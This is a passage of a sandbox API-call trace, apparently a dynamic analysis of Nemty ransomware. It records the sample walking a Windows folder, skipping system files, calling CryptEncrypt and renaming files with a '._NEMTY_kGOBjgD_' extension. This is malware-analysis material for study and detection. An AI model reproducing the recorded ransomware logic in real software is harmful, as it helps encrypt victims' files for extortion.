lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.918] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.927] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.927] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.927] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.927] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.937] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.938] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.938] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.938] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.947] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.947] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.947] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.953] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.953] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.953] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.959] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.959] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.959] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340290, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.959] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0131.959] CloseHandle (hObject=0xffffffff) returned 0 [0131.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340400 [0131.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0131.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0131.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0131.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0131.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0131.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404c8 [0131.960] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0131.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c8 | out: hHeap=0x4f90000) returned 1 [0131.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0131.960] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\flyout_background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\flyout_background.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\flyout_background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\flyout_background.png._nemty_kgobjgd_")) returned 0 [0131.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0131.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340400 | out: hHeap=0x4f90000) returned 1 [0131.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0131.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0131.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0131.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0131.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0131.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c8 | out: hHeap=0x4f90000) returned 1 [0131.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0131.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0131.960] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90fa721, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90fa721, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbcd84d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5f6, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="Gadget_Flyout_Thumbnail_Shadow.png", cAlternateFileName="")) returned 1 [0131.960] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2=".") returned 1 [0131.960] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="..") returned 1 [0131.960] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="...") returned 1 [0131.960] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="windows") returned -1 [0131.960] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="$RECYCLE.BIN") returned 1 [0131.960] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="rsa") returned -1 [0131.961] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="NTDETECT.COM") returned -1 [0131.961] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="ntldr") returned -1 [0131.961] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="MSDOS.SYS") returned -1 [0131.961] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="IO.SYS") returned -1 [0131.961] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="boot.ini") returned 1 [0131.961] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="boot.ini") returned 1 [0131.961] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="AUTOEXEC.BAT") returned 1 [0131.961] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="ntuser.dat") returned -1 [0131.961] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="desktop.ini") returned 1 [0131.961] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="CONFIG.SYS") returned 1 [0131.961] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="RECYCLER") returned -1 [0131.961] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="BOOTSECT.BAK") returned 1 [0131.961] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="bootmgr") returned 1 [0131.961] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="programdata") returned -1 [0131.961] lstrcmpiW (lpString1="Gadget_Flyout_Thumbnail_Shadow.png", lpString2="appdata") returned 1 [0131.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0131.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Flyout_Thumbnail_Shadow.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0131.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0131.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Flyout_Thumbnail_Shadow.png", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Flyout_Thumbnail_Shadow.png", lpUsedDefaultChar=0x0) returned 34 [0131.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0131.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0131.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Flyout_Thumbnail_Shadow.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0131.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0131.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Flyout_Thumbnail_Shadow.png", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Flyout_Thumbnail_Shadow.png", lpUsedDefaultChar=0x0) returned 34 [0131.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0131.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0131.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0131.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0131.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Flyout_Thumbnail_Shadow.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0131.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0131.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Flyout_Thumbnail_Shadow.png", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Flyout_Thumbnail_Shadow.png", lpUsedDefaultChar=0x0) returned 34 [0131.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0131.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94088 [0131.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Flyout_Thumbnail_Shadow.png", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0131.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0131.961] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Gadget_Flyout_Thumbnail_Shadow.png", cchWideChar=34, lpMultiByteStr=0x6345640, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Gadget_Flyout_Thumbnail_Shadow.png", lpUsedDefaultChar=0x0) returned 34 [0131.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0131.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401c8 [0131.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0131.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0131.962] Sleep (dwMilliseconds=0x5) [0131.974] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x24f3530, dwHighDateTime=0x1d561e8)) [0131.974] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x24f3530, dwHighDateTime=0x1d561e8)) [0131.974] GetLastError () returned 0x5 [0131.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0131.974] GetLastError () returned 0x5 [0131.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0131.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0131.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0131.974] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0131.974] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0131.974] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0131.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402a0 [0131.974] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402a0, pcchString=0x653e91c | out: pszString="oIFsl9TKrZ7iQB7EQNSpw2pQab6YEeiPheJpdZMMqKmFL/BnVyYUKbHlnE+8q7pG\r\nG+Gyu1FbxJj2nypZtv+QGfVGYky1bv1ulh5EATHx2Swmety9JumFQsFXv+GvCW+n\r\nEM1BIiL5vODy2HoMmWtbrfrbsCd7eufD2VtgCGVuITeqh3wQH8tnFgBUbPtf9A4m\r\nXEowBmgTam7CHCbGYH0KAS+2YBo3qyCUoKNWd+LdyLshsGy8b55oJhd4aR8jkYxC\r\n1iAIUINxRgTzxQuUs905XmKX4/Etv2Nfzdzys9FvbAVdro6S3g4gF3ZMwxE5hhWj\r\nl6y3HGBMDgDU8pJfR1vnIA==\r\n", pcchString=0x653e91c) returned 1 [0131.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0131.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a0 | out: hHeap=0x4f90000) returned 1 [0131.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0131.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0131.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402a0 [0131.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0131.974] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\Gadget_Flyout_Thumbnail_Shadow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\gadget_flyout_thumbnail_shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0131.975] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0131.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0131.975] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.985] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.985] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.985] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0131.995] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.995] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0131.995] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0131.995] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.004] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.004] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.005] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.014] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.014] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.014] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.024] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.024] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.024] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.033] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.033] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.043] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.043] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.043] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.053] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.054] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.054] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.054] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0132.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0132.063] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0132.063] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 